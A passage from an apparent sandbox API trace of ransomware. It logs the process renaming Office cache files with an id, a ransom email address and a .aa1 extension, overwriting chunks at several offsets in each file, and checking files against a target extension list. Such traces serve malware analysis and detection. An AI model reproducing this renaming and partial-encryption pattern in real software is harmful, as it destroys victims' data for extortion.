Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0199.987] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0199.987] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0199.987] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0199.987] ReadFile (in: hFile=0x170, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0200.248] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0200.249] ReadFile (in: hFile=0x170, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0200.421] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0200.421] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0200.421] ReadFile (in: hFile=0x170, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0200.527] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.527] WriteFile (in: hFile=0x170, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0201.111] SetEndOfFile (hFile=0x170) returned 1 [0201.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f43090 [0201.115] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0201.115] WriteFile (in: hFile=0x170, lpBuffer=0x3f43090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43090*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0201.118] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0201.118] WriteFile (in: hFile=0x170, lpBuffer=0x3f43090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43090*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0201.126] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0201.126] WriteFile (in: hFile=0x170, lpBuffer=0x3f43090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43090*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0201.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f43090 | out: hHeap=0x4f0000) returned 1 [0201.133] CloseHandle (hObject=0x170) returned 1 [0205.510] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0205.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.511] lstrlenW (lpString=".doc") returned 4 [0205.511] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0205.511] lstrlenW (lpString=".docx") returned 5 [0205.511] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0205.511] lstrlenW (lpString=".pdf") returned 4 [0205.511] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0205.511] lstrlenW (lpString=".xls") returned 4 [0205.511] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0205.511] lstrlenW (lpString=".xlsx") returned 5 [0205.511] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0205.511] lstrlenW (lpString=".ppt") returned 4 [0205.511] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0205.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.511] lstrlenW (lpString=".zip") returned 4 [0205.511] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0205.511] lstrlenW (lpString=".rar") returned 4 [0205.511] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0205.511] lstrlenW (lpString=".bz2") returned 4 [0205.511] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0205.511] lstrlenW (lpString=".7z") returned 3 [0205.512] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0205.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.512] lstrlenW (lpString=".dbf") returned 4 [0205.512] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0205.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.512] lstrlenW (lpString=".1cd") returned 4 [0205.512] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0205.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.512] lstrlenW (lpString=".jpg") returned 4 [0205.512] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0205.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.512] lstrlenW (lpString=".doc") returned 4 [0205.512] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0205.512] lstrlenW (lpString=".docx") returned 5 [0205.512] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0205.512] lstrlenW (lpString=".pdf") returned 4 [0205.512] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0205.512] lstrlenW (lpString=".xls") returned 4 [0205.513] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0205.513] lstrlenW (lpString=".xlsx") returned 5 [0205.513] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0205.513] lstrlenW (lpString=".ppt") returned 4 [0205.513] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0205.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.513] lstrlenW (lpString=".zip") returned 4 [0205.513] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0205.513] lstrlenW (lpString=".rar") returned 4 [0205.513] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0205.513] lstrlenW (lpString=".bz2") returned 4 [0205.513] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0205.513] lstrlenW (lpString=".7z") returned 3 [0205.513] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0205.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.514] lstrlenW (lpString=".dbf") returned 4 [0205.514] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0205.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.514] lstrlenW (lpString=".1cd") returned 4 [0205.514] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0205.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0205.514] lstrlenW (lpString=".jpg") returned 4 [0205.514] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0205.514] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0205.514] lstrlenW (lpString="WordMUI.msi") returned 11 [0205.514] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0205.515] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=2522624) returned 1 [0205.515] CloseHandle (hObject=0x170) returned 1 [0205.515] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0205.515] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.515] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0205.516] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0205.516] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0205.516] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0205.516] ReadFile (in: hFile=0x170, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.733] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0205.733] ReadFile (in: hFile=0x170, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.876] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0205.876] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0205.876] ReadFile (in: hFile=0x170, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.929] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.929] WriteFile (in: hFile=0x170, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0206.120] SetEndOfFile (hFile=0x170) returned 1 [0206.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd30a0 [0206.401] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0206.401] WriteFile (in: hFile=0x170, lpBuffer=0x3fd30a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd30a0*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.405] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0206.405] WriteFile (in: hFile=0x170, lpBuffer=0x3fd30a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd30a0*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.411] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0206.411] WriteFile (in: hFile=0x170, lpBuffer=0x3fd30a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd30a0*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd30a0 | out: hHeap=0x4f0000) returned 1 [0206.416] CloseHandle (hObject=0x170) returned 1 [0207.641] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0207.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.650] lstrlenW (lpString=".doc") returned 4 [0207.650] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0207.650] lstrlenW (lpString=".docx") returned 5 [0207.650] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0207.650] lstrlenW (lpString=".pdf") returned 4 [0207.650] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0207.650] lstrlenW (lpString=".xls") returned 4 [0207.650] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0207.650] lstrlenW (lpString=".xlsx") returned 5 [0207.650] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0207.650] lstrlenW (lpString=".ppt") returned 4 [0207.650] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0207.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.650] lstrlenW (lpString=".zip") returned 4 [0207.650] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0207.650] lstrlenW (lpString=".rar") returned 4 [0207.650] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0207.650] lstrlenW (lpString=".bz2") returned 4 [0207.650] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0207.650] lstrlenW (lpString=".7z") returned 3 [0207.650] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0207.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.651] lstrlenW (lpString=".dbf") returned 4 [0207.651] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0207.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.651] lstrlenW (lpString=".1cd") returned 4 [0207.651] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0207.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.651] lstrlenW (lpString=".jpg") returned 4 [0207.651] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0207.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.651] lstrlenW (lpString=".doc") returned 4 [0207.651] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0207.651] lstrlenW (lpString=".docx") returned 5 [0207.651] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0207.651] lstrlenW (lpString=".pdf") returned 4 [0207.651] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0207.651] lstrlenW (lpString=".xls") returned 4 [0207.651] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0207.651] lstrlenW (lpString=".xlsx") returned 5 [0207.651] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0207.651] lstrlenW (lpString=".ppt") returned 4 [0207.651] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0207.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.651] lstrlenW (lpString=".zip") returned 4 [0207.651] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0207.651] lstrlenW (lpString=".rar") returned 4 [0207.651] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0207.651] lstrlenW (lpString=".bz2") returned 4 [0207.651] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0207.652] lstrlenW (lpString=".7z") returned 3 [0207.652] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0207.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.652] lstrlenW (lpString=".dbf") returned 4 [0207.652] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0207.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.652] lstrlenW (lpString=".1cd") returned 4 [0207.652] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0207.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0207.652] lstrlenW (lpString=".jpg") returned 4 [0207.652] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0207.652] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0207.652] lstrlenW (lpString="Proof.cab") returned 9 [0207.652] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0207.653] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=21064532) returned 1 [0207.653] CloseHandle (hObject=0x170) returned 1 [0207.653] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0207.653] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.653] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0207.654] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0207.654] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0207.654] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0207.654] ReadFile (in: hFile=0x170, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0207.905] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0207.905] ReadFile (in: hFile=0x170, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0207.961] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0207.961] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0207.961] ReadFile (in: hFile=0x170, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0207.981] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.981] WriteFile (in: hFile=0x170, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0208.189] SetEndOfFile (hFile=0x170) returned 1 [0208.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f93098 [0208.189] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.190] WriteFile (in: hFile=0x170, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.190] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.190] WriteFile (in: hFile=0x170, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.191] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.191] WriteFile (in: hFile=0x170, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f93098 | out: hHeap=0x4f0000) returned 1 [0208.193] CloseHandle (hObject=0x170) returned 1 [0210.429] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0210.429] lstrlenW (lpString="C:\\MSOCache\\All 